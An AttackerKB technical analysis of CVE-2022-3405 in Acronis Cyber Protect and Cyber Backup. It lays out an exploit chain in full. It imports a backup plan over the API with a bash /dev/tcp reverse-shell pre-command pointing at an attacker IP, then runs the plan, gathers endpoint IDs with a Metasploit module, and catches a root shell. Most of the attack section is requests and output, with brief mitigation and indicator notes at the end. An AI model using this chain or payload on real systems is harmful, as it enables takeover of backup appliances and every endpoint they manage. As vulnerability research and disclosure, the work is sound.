Very High
CVE-2022-3405
CVE ID
AttackerKB requires a CVE ID in order to pull vulnerability data and references from the CVE list and the National Vulnerability Database. If available, please supply below:
Add References:
Very High
(1 user assessed)Very High
(1 user assessed)CVE-2022-3405
MITRE ATT&CK
Collection
Command and Control
Credential Access
Defense Evasion
Discovery
Execution
Exfiltration
Impact
Initial Access
Lateral Movement
Persistence
Privilege Escalation
Topic Tags
Description
Code execution and sensitive information disclosure due to excessive privileges assigned to Acronis Agent. The following products are affected: Acronis Cyber Protect 15 (Windows, Linux) before build 29486, Acronis Cyber Backup 12.5 (Windows, Linux) before build 16545.
Add Assessment
Ratings
-
Attacker ValueVery High
-
ExploitabilityVery High
Technical Analysis
In my previous attackerkb article CVE-2022-30995 I explained the vulnerability where an unauthenticated attacker can gain administrative access to the Acronis Cyber protect 15 / Backup 12.5 appliance and disclose sensitive information of the configured endpoint backup targets.
This article is a follow-up of that attack sequence where we actually will exploit this vulnerability and get root access on the appliance itself or one of the configured endpoint backup targets.
This vulnerability has a CVSS v3 Base Score of 8.8 which I personally think is underrated because this exploit allows you to get root or administrator access on the appliance and literally all endpoint backup targets that are configured within the appliance. A rating of 9.8 or 10 would be more appropriate here.
Let’s get started…
For the initial attack sequence to get administrative access to the API using the access token, I refer back to my other article CVE-2022-30995 where this is described in detail.
Our journey starts with fact that we successfully captured the administrative access token which by the way is valid for 30 days ;–)
If you read the documentation of the appliance, you will find a few interesting sections with application logic that opens up an avenue to execute remote commands. One particular section describes the creation of a backup plan on an endpoint target where you can configure pre- or post commands within the backup sequence. This is of course pretty cool because if we are able to use the API to configure a backup plan on particular endpoint with a pre-command that triggers a remote shell or meterpreter, then we have achieved our admin access on the endpoint.
A nice feature within the web console is that you can create a backup plan and export it to a json
file which you can import again at the appliance. This will give you a good insight on the structure of a backup plan and how to manipulate the pre-command field in order to achieve a remote code execution.
I have posted an example below of this backup plan where the pre-command is configured with a payload triggering a remote bash shell.
Import backup plan API request
POST /api/ams/backup/plan_operations/import?createDraftOnError=true HTTP/1.1 Host: 192.168.201.6:9877 Content-Length: 10080 X-Requested-With: XMLHttpRequest Accept-Language: en-GB,en;q=0.9 Accept: application/json Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryZ6ACTlaDLLwA3mQ2 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.6668.71 Safari/537.36 Origin: http://192.168.201.6:9877 Referer: http://192.168.201.6:9877/ Accept-Encoding: gzip, deflate, br Authorization: Bearer REDACTED access_token Connection: keep-alive ------WebKitFormBoundaryZ6ACTlaDLLwA3mQ2 Content-Disposition: form-data; name="planfile"; filename="cuckoo.json" Content-Type: application/json { "allowedActions": [ "rename", "revoke", "runNow" ], "allowedBackupTypes": [ "full", "incremental" ], "backupType": "files", "bootableMediaPlan": false, "editable": true, "enabled": true, "id": "F37FDF40-45BF-4ECD-A166-9D0345EB099D", "locations": { "data": [ { "displayName": "/tmp", "id": "[[\"ItemType\",\"local_folder\"],[\"LocalID\",\"/tmp\"]]", "type": "local_folder" } ] }, "name": "Oepsie You are Pawned!!!", "options": { "backupOptions": { "prePostCommands": { "postCommands": { "command": "", "commandArguments": "", "continueOnCommandError": false, "waitCommandComplete": true, "workingDirectory": "" }, "preCommands": { "command": "bash -c '0<&216-;exec 216<>/dev/tcp/192.168.201.8/1971;sh <&216 >&216 2>&216'", "commandArguments": "", "continueOnCommandError": true, "waitCommandComplete": false, "workingDirectory": "" }, "useDefaultCommands": false, "usePostCommands": false, "usePreCommands": true }, "prePostDataCommands": { "postCommands": { "command": "", "commandArguments": "", "continueOnCommandError": false, "waitCommandComplete": true, "workingDirectory": "" }, "preCommands": { "command": "", "commandArguments": "", "continueOnCommandError": false, "waitCommandComplete": true, "workingDirectory": "" }, "useDefaultCommands": true, "usePostCommands": false, "usePreCommands": false }, "scheduling": { "interval": { "type": "minutes", "value": 30 }, "type": "distributeBackupTimeOptions" }, "simultaneousBackups": { "simultaneousBackupsNumber": null }, "snapshot": { "quiesce": true, "retryConfiguration": { "reattemptOnError": true, "reattemptTimeFrame": { "type": "minutes", "value": 5 }, "reattemptsCount": 3, "silentMode": false } }, "taskExecutionWindow": {}, "taskFailureHandling": { "periodBetweenRetryAttempts": { "type": "hours", "value": 1 }, "retryAttempts": 1, "retryFailedTask": false }, "taskStartConditions": { "runAnyway": false, "runAnywayAfterPeriod": { "type": "hours", "value": 1 }, "waitUntilMet": true }, "validateBackup": false, "volumes": { "forceVssFullBackup": false, "useMultiVolumeSnapshot": true, "useNativeVssProvider": false, "useVolumeShadowService": true, "useVssFlags": [ "definedRule" ] }, "vssFlags": { "availableVssModes": [ "auto", "system" ], "enabled": true, "value": "auto", "vssFullBackup": false }, "windowsEventLog": { "isGlobalConfigurationUsed": true, "traceLevel": "warning", "traceState": false }, "withHWSnapshot": false }, "specificParameters": { "inclusionRules": { "rules": [ "/mnt" ], "rulesType": "centralizedFiles" }, "type": "" } }, "origin": "centralized", "route": { "archiveSlicing": null, "stages": [ { "archiveName": "[Machine Name]-[Plan ID]-[Unique ID]A", "cleanUpIfNoSpace": false, "cleanup": { "time": [ { "backupSet": "daily", "period": { "type": "days", "value": 7 } }, { "backupSet": "weekly", "period": { "type": "weeks", "value": 4 } } ], "type": "cleanupByTime" }, "destinationKind": "local_folder", "locationScript": null, "locationUri": "/tmp", "locationUriType": "local", "maintenanceWindow": null, "postAction": { "convertToVMParameters": { "agentIds": [], "cpuCount": null, "diskAllocationType": "thick", "displayedName": null, "enabled": false, "exactMemorySize": false, "infrastructureType": "", "memorySize": null, "networkAdapters": [], "virtualMachineName": "", "virtualServerHost": null, "virtualServerHostKey": "[[\"ItemType\",\"\"],[\"LocalID\",\"\"]]", "virtualServerStorage": "" } }, "rules": [ { "afterBackup": true, "backupCountUpperLimit": 0, "backupSetIndex": "daily", "backupUpperLimitSize": 0, "beforeBackup": false, "consolidateBackup": false, "deleteOlderThan": { "type": "days", "value": 7 }, "deleteYongerThan": { "type": "days", "value": 0 }, "onSchedule": false, "retentionSchedule": { "alarms": [], "conditions": [], "maxDelayPeriod": -1, "maxRetries": 0, "preventFromSleeping": true, "retryPeriod": 0, "type": "none", "unique": false, "waitActionType": "run" }, "stagingOperationType": "justCleanup" }, { "afterBackup": true, "backupCountUpperLimit": 0, "backupSetIndex": "weekly", "backupUpperLimitSize": 0, "beforeBackup": false, "consolidateBackup": false, "deleteOlderThan": { "type": "weeks", "value": 4 }, "deleteYongerThan": { "type": "days", "value": 0 }, "onSchedule": false, "retentionSchedule": { "alarms": [], "conditions": [], "maxDelayPeriod": -1, "maxRetries": 0, "preventFromSleeping": true, "retryPeriod": 0, "type": "none", "unique": false, "waitActionType": "run" }, "stagingOperationType": "justCleanup" } ], "useProtectionPlanCredentials": true, "validationRules": null } ] }, "scheme": { "parameters": { "backupSchedule": { "kind": { "dataType": "binary", "type": "full" }, "schedule": { "alarms": [ { "beginDate": { "day": 0, "month": 0, "year": 0 }, "calendar": { "days": 65, "type": "weekly", "weekInterval": 0 }, "distribution": { "enabled": false, "interval": 0, "method": 0 }, "endDate": { "day": 0, "month": 0, "year": 0 }, "machineWake": false, "repeatAtDay": { "endTime": { "hour": 0, "minute": 0, "second": 0 }, "timeInterval": 0 }, "runLater": false, "skipOccurrences": 0, "startTime": { "hour": 23, "minute": 0, "second": 0 }, "startTimeDelay": 0, "type": "time", "utcBasedSettings": false } ], "conditions": [], "maxDelayPeriod": -1, "maxRetries": 0, "preventFromSleeping": true, "retryPeriod": 0, "type": "daily", "unique": false, "waitActionType": "run" } }, "backupTypeRule": "byScheme" }, "schedule": { "daysOfWeek": [ "monday", "tuesday", "wednesday", "thursday", "friday" ], "effectiveDates": { "from": { "day": 0, "month": 0, "year": 0 }, "to": { "day": 0, "month": 0, "year": 0 } }, "machineWake": false, "preventFromSleeping": true, "runLater": false, "startAt": { "hour": 23, "minute": 0, "second": 0 }, "type": "daily" }, "type": "weekly_full_daily_inc" }, "sources": { "data": [ { "displayName": "cuckoo", "hostID": "65A7924F-3CFB-4EEE-8D95-D5201278D8C1", "id": "phm.E48C641B-F869-412E-AE9A-2E6A9D0D3443@65A7924F-3CFB-4EEE-8D95-D5201278D8C1.disks" } ] }, "target": { "inclusions": [ { "key": "phm.E48C641B-F869-412E-AE9A-2E6A9D0D3443@65A7924F-3CFB-4EEE-8D95-D5201278D8C1.disks", "resource_key": "phm.E48C641B-F869-412E-AE9A-2E6A9D0D3443@65A7924F-3CFB-4EEE-8D95-D5201278D8C1.disks" } ] }, "tenant": { "id": "phm-group.7C2057CC-8D32-40CA-9B83-4A8E73078F7F.disks", "locator": "/phm-group.7C2057CC-8D32-40CA-9B83-4A8E73078F7F.disks/", "name": "phm-group.7C2057CC-8D32-40CA-9B83-4A8E73078F7F.disks", "parentID": "" } } ------WebKitFormBoundaryZ6ACTlaDLLwA3mQ2--
Response
If successful, it will return the planId
that can be used to execute the backup plan on a specific endpoint.
HTTP/1.1 200 OK Cache-Control: no-cache Cache-Control: no-cache Content-Length: 169 Content-Type: application/json Content-Security-Policy:default-src 'self'; script-src 'self' 'unsafe-eval' 'unsafe-inline' https://account.acronis.com https://notary.acronis.com https://www.acronis.com https://www.googletagmanager.com https://www.google-analytics.com remotedesktopconnectionclient:; style-src 'self' 'unsafe-inline'; connect-src 'self' https://account.acronis.com https://notary.acronis.com https://www.acronis.com https://www.googletagmanager.com https://www.google-analytics.com remotedesktopconnectionclient:; font-src 'self'; img-src 'self' data: https://account.acronis.com https://notary.acronis.com https://www.acronis.com https://www.googletagmanager.com https://www.google-analytics.com remotedesktopconnectionclient:; frame-src 'self' https://account.acronis.com https://notary.acronis.com https://www.acronis.com https://www.googletagmanager.com https://www.google-analytics.com remotedesktopconnectionclient:; Date: Sat, 19 Oct 2024 16:01:13 GMT Expires: -1 Pragma: no-cache Server: Werkzeug/0.9.3 Python/3.5.3 Set-Cookie: session=eyJBQ1JPU0VTU0lPTiI6IjIxZWZlM2I5NThiNzE4YTAyNDIyODJmNzU3NWE1NjNjZGY1MTQwMmFjNGM3ZjZjMzUyYTc4Y2IxNjYxMDhmYTUifQ.GfVpSQ.pf1qJZH04xv1xv9ywxE_tbxD8ro; Secure; HttpOnly; Path=/ X-Content-Security-Policy: default-src 'self'; script-src 'self' 'unsafe-eval' 'unsafe-inline' https://account.acronis.com https://notary.acronis.com https://www.acronis.com https://www.googletagmanager.com https://www.google-analytics.com remotedesktopconnectionclient:; style-src 'self' 'unsafe-inline'; connect-src 'self' https://account.acronis.com https://notary.acronis.com https://www.acronis.com https://www.googletagmanager.com https://www.google-analytics.com remotedesktopconnectionclient:; font-src 'self'; img-src 'self' data: https://account.acronis.com https://notary.acronis.com https://www.acronis.com https://www.googletagmanager.com https://www.google-analytics.com remotedesktopconnectionclient:; frame-src 'self' https://account.acronis.com https://notary.acronis.com https://www.acronis.com https://www.googletagmanager.com https://www.google-analytics.com remotedesktopconnectionclient:; X-Content-Type-Options: nosniff X-Frame-Options: SAMEORIGIN X-Internal-Request-Id: RGLvjgwjYDSQz8eZnvXuwn X-Request-Id: hXoxoawUe5u3E44naHSuvc X-Xss-Protection: 1; mode=block { "data": { "failedFiles": [], "importedPlans": [ { "planId": "2EA2CE9D-6AB7-495D-906A-6E12FADF43CF", "fileName": "cuckoo.json", "draftId": "00000000-0000-0000-0000-000000000000" } ] } }
It is important to understand that you need to assign a backup plan to a specific endpoint target which is defined in the appliance. You will need three important identifiers:
[+] hostId
[+] parentId
[+] key
You can collect this information with Metasploit recon module that you can find here Metasploit PR 19582 – Acronis Cyber Backup/Protect Info Disclosure.
msf6 > use auxiliary/gather/acronis_cyber_protect_machine_info_disclosure msf6 auxiliary(gather/acronis_cyber_protect_machine_info_disclosure) > set rhosts 192.168.201.6 rhosts => 192.168.201.6 msf6 auxiliary(gather/acronis_cyber_protect_machine_info_disclosure) > run [*] Running module against 192.168.201.6 [*] Running automatic check ("set AutoCheck false" to disable) [*] Retrieve the first access token. [*] Register a dummy backup agent. [*] Dummy backup agent registration is successful. [*] Retrieve the second access token. [+] The target appears to be vulnerable. Acronis Cyber Protect/Backup 12.5.14330 [*] Retrieve all managed endpoint configuration details registered at the Acronis Cyber Protect/Backup appliance. [*] List the managed endpoints registered at the Acronis Cyber Protect/Backup appliance. [*] ---------------------------------------- [+] hostId: 65A7924F-3CFB-4EEE-8D95-D5201278D8C1 [+] parentId: phm-group.7C2057CC-8D32-40CA-9B83-4A8E73078F7F.disks [+] key: phm.E48C641B-F869-412E-AE9A-2E6A9D0D3443@65A7924F-3CFB-4EEE-8D95-D5201278D8C1.disks [*] type: machine [*] hostname: AcronisAppliance-365C2 [*] IP: 192.168.201.6 [*] OS: GNU/Linux [*] ARCH: linux [*] ONLINE: true [*] Auxiliary module execution completed msf6 auxiliary(gather/acronis_cyber_protect_machine_info_disclosure) >
If you have assigned an endpoint target (see the Import backup plan API request), then simply execute the backup plan using the planId
and you will trigger a remote shell.
POST /api/ams/backup/plan_operations/run HTTP/1.1 Host: 192.168.201.6:9877 Content-Length: 49 Content-Type: application/json X-Requested-With: XMLHttpRequest Accept-Language: en-GB,en;q=0.9 Accept: application/json User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.6668.71 Safari/537.36 Origin: http://192.168.201.6:9877 Referer: http://192.168.201.6:9877/ Accept-Encoding: gzip, deflate, br Authorization: Bearer REDACTED access_token Connection: keep-alive { "planId":"2EA2CE9D-6AB7-495D-906A-6E12FADF43CF" }
When running a multi/handler in Metasploit configured with remote bash shell payload, it will trigger the RCE.
msf6 exploit(multi/handler) > options Payload options (cmd/unix/reverse_bash): Name Current Setting Required Description ---- --------------- -------- ----------- LHOST 0.0.0.0 yes The listen address (an interface may be specified) LPORT 1971 yes The listen port Exploit target: Id Name -- ---- 0 Wildcard Target View the full module info with the info, or info -d command. msf6 exploit(multi/handler) > exploit -j -z [*] Exploit running as background job 0. [*] Exploit completed, but no session was created. [*] Started reverse TCP handler on 0.0.0.0:1971 msf6 exploit(multi/handler) > [*] Command shell session 2 opened (192.168.201.8:1971 -> 192.168.201.6:42780) at 2024-12-06 09:40:42 +0000 msf6 exploit(multi/handler) > sessions -i 2 [*] Starting interaction with 2... pwd /var/lib/Acronis/mms id uid=0(root) gid=0(root) groups=0(root) uname -a Linux AcronisAppliance-365C2 3.10.0-693.11.6.el7.x86_64 #1 SMP Thu Jan 4 01:06:37 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux
I have created a Metasploit module with PR 19853 that exploits this vulnerability and performs a remote code execution in order to gain root or administrator access on the targeted endpoint. You can configure a specific endpoint using the id information collected by the recon Metasploit module PR 19582 or if not specified, it will target the appliance itself.
Mitigation
Please patch your appliance to the latest supported version or at least a build version above Acronis Cyber Protect 15 (Windows, Linux) build 29486 or
Acronis Cyber Backup 12.5 (Windows, Linux) build 16545.
Indicators of Compromise (IOC)
Please check at the web console for suspicious backup plan executions that might popup in the activity or alert list.
References
CVE-2022-3405
Security advisory usd-2022-0008
Acronis Cyber Protect/Backup Downloads
Acronis Cyber Protect 15 Documentation
Metasploit PR 19583 – Acronis Cyber Backup/Protect Remote Code Execution.
Metasploit PR 19582 – Acronis Cyber Backup/Protect Info Disclosure
Credits goes to
Sandro Tolksdorf of usd AG for the discovery of this vulnerability.
Would you also like to delete your Exploited in the Wild Report?
Delete Assessment Only Delete Assessment and Exploited in the Wild ReportCVSS V3 Severity and Metrics
General Information
Vendors
- acronis
Products
- cyber backup 12.5,
- cyber protect 15
Metasploit Modules
References
Additional Info
Technical Analysis
Report as Emergent Threat Response
Report as Exploited in the Wild
CVE ID
AttackerKB requires a CVE ID in order to pull vulnerability data and references from the CVE list and the National Vulnerability Database. If available, please supply below: